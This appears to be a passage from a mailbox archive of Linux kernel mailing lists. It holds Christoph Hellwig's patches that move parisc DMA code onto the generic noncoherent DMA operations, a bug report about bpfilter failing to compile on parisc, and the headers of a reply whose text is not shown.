+	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl) {
 		pcxl_dma_start = (unsigned long)SET_MAP_OFFSET(MAP_START);
 		parisc_vmalloc_start = SET_MAP_OFFSET(pcxl_dma_start
 						+ PCXL_DMA_MAP_SIZE);
-	} else {
-		pcxl_dma_start = 0;
-		parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
-	}
-#else
-	parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
+	} else
 #endif
+		parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
 
 	mem_init_print_info(NULL);
 
-- 
2.17.1


From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.parisc
Subject: [PATCH 2/3] parisc: always use flush_kernel_dcache_range for DMA
	cache maintainance
Date: Tue, 19 Jun 2018 09:04:54 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <20180619070455.26624-3-hch@lst.de>
References: <20180619070455.26624-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1529391866 23622 195.159.176.226 (19 Jun 2018 07:04:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 19 Jun 2018 07:04:26 +0000 (UTC)
Cc: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
To: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue Jun 19 09:04:22 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fVAgg-00063c-5v
	for glki-iommu@m.gmane.org; Tue, 19 Jun 2018 09:04:22 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 44543D57;
	Tue, 19 Jun 2018 07:05:10 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 67367D53
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 19 Jun 2018 07:05:08 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 17A7A13E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 19 Jun 2018 07:05:08 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=+sNLVMMqqGJWQHYwAXDaa11qaQspd5y7G00XFLozn5Y=;
	b=kHWe3U1LaREFSUgLNYRorBhf1
	a2pWHPn14uO5ClDW+XktC9WFzPfVKZA6Plw61Zx25n0xZ0ehq3gjr4JmDhFAwsldSb/JClHho8rOj
	yDT+bw55XLhJMlpnMPuI+1JJgTM4n81yraGW2v1BUKM4SGo55LcFINXyDj022N5sbO3+kkXXzxVwK
	6R4iyOu8lKWHPIC0IRpqslrgyJwMUngcnDdVNCq7fp/owcmYrLEY0dLPSYemSpC2M8P66ClhY3vKP
	CUSxaq2Bze3jw2Fk03Tv7tLAqkgQTsfXxsLdSC2UyqalNWrex+MpIMO7IXaBwk0ipR07GIW6H/N7i
	YujGmpuaQ==;
Original-Received: from 089144192009.atnat0001.highway.a1.net ([89.144.192.9]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fVAhP-0006g6-6p; Tue, 19 Jun 2018 07:05:07 +0000
X-Mailer: git-send-email 2.17.1
In-Reply-To: <20180619070455.26624-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24922 gmane.linux.ports.parisc:28701
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24922>

Current the S/G list based DMA ops use flush_kernel_vmap_range which
contains a few UP optimizations, while the rest of the DMA operations
uses flush_kernel_dcache_range.  The single vs sg operations are supposed
to have the same effect, so they should use the same routines.  Use
the more conservation version for now, but if people more familiar with
parisc think the vmap version is generally fine for DMA we should switch
all interfaces over to it.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/parisc/kernel/pci-dma.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index d34cd6d34717..1f85ca2c0c9e 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -537,7 +537,7 @@ static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
+		flush_kernel_dcache_range(sg_virt(sg), sg->length);
 }
 
 static void pa11_dma_sync_single_for_cpu(struct device *dev,
@@ -568,7 +568,7 @@ static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sgl
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
+		flush_kernel_dcache_range(sg_virt(sg), sg->length);
 }
 
 static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
@@ -579,7 +579,7 @@ static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *
 	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
 
 	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_vmap_range(sg_virt(sg), sg->length);
+		flush_kernel_dcache_range(sg_virt(sg), sg->length);
 }
 
 static void pa11_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
-- 
2.17.1


From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.parisc
Subject: [PATCH 3/3] parisc: use generic dma_noncoherent_ops
Date: Tue, 19 Jun 2018 09:04:55 +0200
Lines: 248
Approved: news@gmane.org
Message-ID: <20180619070455.26624-4-hch@lst.de>
References: <20180619070455.26624-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1529391913 26929 195.159.176.226 (19 Jun 2018 07:05:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 19 Jun 2018 07:05:13 +0000 (UTC)
Cc: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
To: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue Jun 19 09:05:09 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fVAhR-0006tZ-3m
	for glki-iommu@m.gmane.org; Tue, 19 Jun 2018 09:05:09 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 396CFD84;
	Tue, 19 Jun 2018 07:05:14 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 9FB79D7E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 19 Jun 2018 07:05:12 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 0238C13E
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 19 Jun 2018 07:05:11 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=JC092t8V9/Y0ztXIDeGZXTwH3Y7RarZxRZkNVdCG3/o=;
	b=oRIbLuzkQFWpKnaVFpIs4EHCY
	o9a45TMN6B+leWo+019OIn4MNig5t1uu/SFMPj/RV64v28C7U0PwEeMrWQ4W46n31jgjAodOlNi7R
	/Mj34CHuoCE3HKxXu5jYhqVj2ltcNpzx6V3sL7Jl/pvvElyXxl6oaPd1nlIrkGZYeDIeo1uOQV7Is
	ErjhOZmiUvs1duCtjzcykM/aCQQVXCYmJnPE+MILoXLq8dgqRPltNqwP0dsHj0ydO+ltUvMIOvK5Y
	iORLhs2lT/a1qOzAsD3OawN5iOlG3Iop6kqoOm/80TG3gAZ2Y9rlHZgjmW7REZMtR/LTId4zwAo4W
	bFkG9zmWg==;
Original-Received: from 089144192009.atnat0001.highway.a1.net ([89.144.192.9]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fVAhS-0006wN-PX; Tue, 19 Jun 2018 07:05:11 +0000
X-Mailer: git-send-email 2.17.1
In-Reply-To: <20180619070455.26624-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24923 gmane.linux.ports.parisc:28702
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24923>

Switch to the generic noncoherent direct mapping implementation.

Fix sync_single_for_cpu to do skip the cache flush unless the transfer
is to the device to match the more tested unmap_single path which should
have the same cache coherency implications.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/parisc/Kconfig                   |   4 +
 arch/parisc/include/asm/dma-mapping.h |   4 -
 arch/parisc/kernel/pci-dma.c          | 145 ++------------------------
 arch/parisc/kernel/setup.c            |   2 +-
 4 files changed, 16 insertions(+), 139 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index c480770fabcd..6fb2243a3b04 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -188,6 +188,10 @@ config PA20
 config PA11
 	def_bool y
 	depends on PA7000 || PA7100LC || PA7200 || PA7300LC
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
+	select DMA_NONCOHERENT_CACHE_SYNC
 
 config PREFETCH
 	def_bool y
diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index eeec8dd18e74..44a9f97194aa 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -21,10 +21,6 @@
 ** flush/purge and allocate "regular" cacheable pages for everything.
 */
 
-#ifdef CONFIG_PA11
-extern const struct dma_map_ops pa11_dma_ops;
-#endif
-
 extern const struct dma_map_ops *hppa_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 1f85ca2c0c9e..04c48f1ef3fb 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -21,13 +21,12 @@
 #include <linux/init.h>
 #include <linux/gfp.h>
 #include <linux/mm.h>
-#include <linux/pci.h>
 #include <linux/proc_fs.h>
 #include <linux/seq_file.h>
 #include <linux/string.h>
 #include <linux/types.h>
-#include <linux/scatterlist.h>
-#include <linux/export.h>
+#include <linux/dma-direct.h>
+#include <linux/dma-noncoherent.h>
 
 #include <asm/cacheflush.h>
 #include <asm/dma.h>    /* for DMA_CHUNK_SIZE */
@@ -437,7 +436,7 @@ static void *pcx_dma_alloc(struct device *dev, size_t size,
 	return addr;
 }
 
-static void *pa11_dma_alloc(struct device *dev, size_t size,
+void *arch_dma_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
 
@@ -447,7 +446,7 @@ static void *pa11_dma_alloc(struct device *dev, size_t size,
 		return pcx_dma_alloc(dev, size, dma_handle, gfp, attrs);
 }
 
-static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
 	int order = get_order(size);
@@ -462,142 +461,20 @@ static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
 	free_pages((unsigned long)vaddr, get_order(size));
 }
 
-static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
-		unsigned long offset, size_t size,
-		enum dma_data_direction direction, unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	void *addr = page_address(page) + offset;
-	BUG_ON(direction == DMA_NONE);
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		flush_kernel_dcache_range((unsigned long) addr, size);
-
-	return virt_to_phys(addr);
-}
-
-static void pa11_dma_unmap_page(struct device *dev, dma_addr_t dma_handle,
-		size_t size, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	BUG_ON(direction == DMA_NONE);
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	if (direction == DMA_TO_DEVICE)
-		return;
-
-	/*
-	 * For PCI_DMA_FROMDEVICE this flush is not necessary for the
-	 * simple map/unmap case. However, it IS necessary if if
-	 * pci_dma_sync_single_* has been called and the buffer reused.
-	 */
-
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle), size);
+	flush_kernel_dcache_range((unsigned long)phys_to_virt(paddr), size);
 }
 
-static int pa11_dma_map_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	int i;
-	struct scatterlist *sg;
-
-	BUG_ON(direction == DMA_NONE);
-
-	for_each_sg(sglist, sg, nents, i) {
-		unsigned long vaddr = (unsigned long)sg_virt(sg);
-
-		sg_dma_address(sg) = (dma_addr_t) virt_to_phys(vaddr);
-		sg_dma_len(sg) = sg->length;
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		flush_kernel_dcache_range(vaddr, sg->length);
-	}
-	return nents;
+	flush_kernel_dcache_range((unsigned long)phys_to_virt(paddr), size);
 }
 
-static void pa11_dma_unmap_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	int i;
-	struct scatterlist *sg;
-
-	BUG_ON(direction == DMA_NONE);
-
-	if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-		return;
-
-	if (direction == DMA_TO_DEVICE)
-		return;
-
-	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
-
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_dcache_range(sg_virt(sg), sg->length);
-}
-
-static void pa11_dma_sync_single_for_cpu(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
-			size);
-}
-
-static void pa11_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t dma_handle, size_t size,
-		enum dma_data_direction direction)
-{
-	BUG_ON(direction == DMA_NONE);
-
-	flush_kernel_dcache_range((unsigned long) phys_to_virt(dma_handle),
-			size);
-}
-
-static void pa11_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
-{
-	int i;
-	struct scatterlist *sg;
-
-	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
-
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_dcache_range(sg_virt(sg), sg->length);
-}
-
-static void pa11_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sglist, int nents, enum dma_data_direction direction)
-{
-	int i;
-	struct scatterlist *sg;
-
-	/* once we do combining we'll need to use phys_to_virt(sg_dma_address(sglist)) */
-
-	for_each_sg(sglist, sg, nents, i)
-		flush_kernel_dcache_range(sg_virt(sg), sg->length);
-}
-
-static void pa11_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
+void arch_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	       enum dma_data_direction direction)
 {
 	flush_kernel_dcache_range((unsigned long)vaddr, size);
 }
-
-const struct dma_map_ops pa11_dma_ops = {
-	.alloc =		pa11_dma_alloc,
-	.free =			pa11_dma_free,
-	.map_page =		pa11_dma_map_page,
-	.unmap_page =		pa11_dma_unmap_page,
-	.map_sg =		pa11_dma_map_sg,
-	.unmap_sg =		pa11_dma_unmap_sg,
-	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
-	.sync_single_for_device = pa11_dma_sync_single_for_device,
-	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
-	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
-	.cache_sync =		pa11_dma_cache_sync,
-};
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 5c8450a22255..4e87c35c22b7 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -102,7 +102,7 @@ void __init dma_ops_init(void)
 	case pcxl: /* falls through */
 	case pcxs:
 	case pcxt:
-		hppa_dma_ops = &pa11_dma_ops;
+		hppa_dma_ops = &dma_noncoherent_ops;
 		break;
 	default:
 		break;
-- 
2.17.1


From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: bpfilter compile failure on parisc
Date: Tue, 19 Jun 2018 20:38:19 +0300 (EEST)
Lines: 11
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.21.1806192036240.10716@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1529429780 16451 195.159.176.226 (19 Jun 2018 17:36:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 19 Jun 2018 17:36:20 +0000 (UTC)
User-Agent: Alpine 2.21 (LRH 202 2017-01-01)
To: netdev@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: netdev-owner@vger.kernel.org Tue Jun 19 19:36:15 2018
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: gl-netdev-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1fVKYB-0004CU-CJ
	for gl-netdev-2@m.gmane.org; Tue, 19 Jun 2018 19:36:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S966793AbeFSRiY (ORCPT <rfc822;gl-netdev-2@m.gmane.org>);
        Tue, 19 Jun 2018 13:38:24 -0400
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:42086 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S966650AbeFSRiX (ORCPT <rfc822;netdev@vger.kernel.org>);
        Tue, 19 Jun 2018 13:38:23 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id 74C1F90028;
        Tue, 19 Jun 2018 20:38:21 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 59F5E2205ED; Tue, 19 Jun 2018 20:38:19 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 6CD7B2205E9;
        Tue, 19 Jun 2018 20:38:19 +0300 (EEST)
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:539900 gmane.linux.ports.parisc:28703
Archived-At: <http://permalink.gmane.org/gmane.linux.network/539900>

Tried enabling bpfilter on parisc, got this:

  HOSTCC  net/bpfilter/main.o
net/bpfilter/main.c:3:21: fatal error: sys/uio.h: No such file or directory
 #include <sys/uio.h>
                     ^
compilation terminated.

-- 
Meelis Roos (mroos@linux.ee)


From - Thu Nov 08 21:41:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: bpfilter compile failure on parisc
Date: Tue, 19 Jun 2018 19:05:03 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <71d9d0f7-101b-34af-49a3-b45c2560edc4@bell.net>
References: <alpine.LRH.2.21.1806192036240.10716@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1529449838 5894 195.159.176.226 (19 Jun 2018 23:10:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 19 Jun 2018 23:10:38 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.8.0
To: Meelis Roos <mroos@linux.ee>, netdev@vger.kernel.org,
        linux-parisc@vger.kernel.org
Original-X-From: netdev-owner@vger.kernel.org Wed Jun 20 01:10:34 2018
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: gl-netdev-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1fVPlh-0008HR-EO
	for gl-netdev-2@m.gmane.org; Wed, 20 Jun 2018 01:10:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751462AbeFSXMn (ORCPT <rfc822;gl-netdev-2@m.gmane.org>);
        Tue, 19 Jun 2018 19:12:43 -0400
Original-Received: from simcoe209srvr.owm.bell.net ([184.150.200.209]:53336 "EHLO
        torfep05.bell.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751003AbeFSXMm (ORCPT
        <rfc822;netdev@vger.kernel.org>); Tue, 19 Jun 2018 19:12:42 -0400
X-Greylist: delayed 455 seconds by postgrey-1.27 at vger.kernel.org; Tue, 19 Jun 2018 19:12:42 EDT
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20180619230504.HNSY32387.torfep02.bell.net@torspm01.bell.net>;
          Tue, 19 Jun 2018 19:05:04 -0400
Original-Received: from [192.168.2.49] (really [69.158.175.55]) by torspm01.bell.net
          with ESMTP
          id <20180619230504.LWDH26298.torspm01.bell.net@[192.168.2.49]>;
          Tue, 19 Jun 2018 19:05:04 -0400
In-Reply-To: <alpine.LRH.2.21.1806192036240.10716@math.ut.ee>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=T8Zjd7CQ c=1 sm=0 tr=0 a=V8DPTAhloC/wURew+oITug==:17 a=IkcTkHD0fZMA:10 a=7mUfYlMuFuIA:10 a=FBHGMhGWAAAA:8 a=r9BJM8GNYzXOFVTRz9IA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
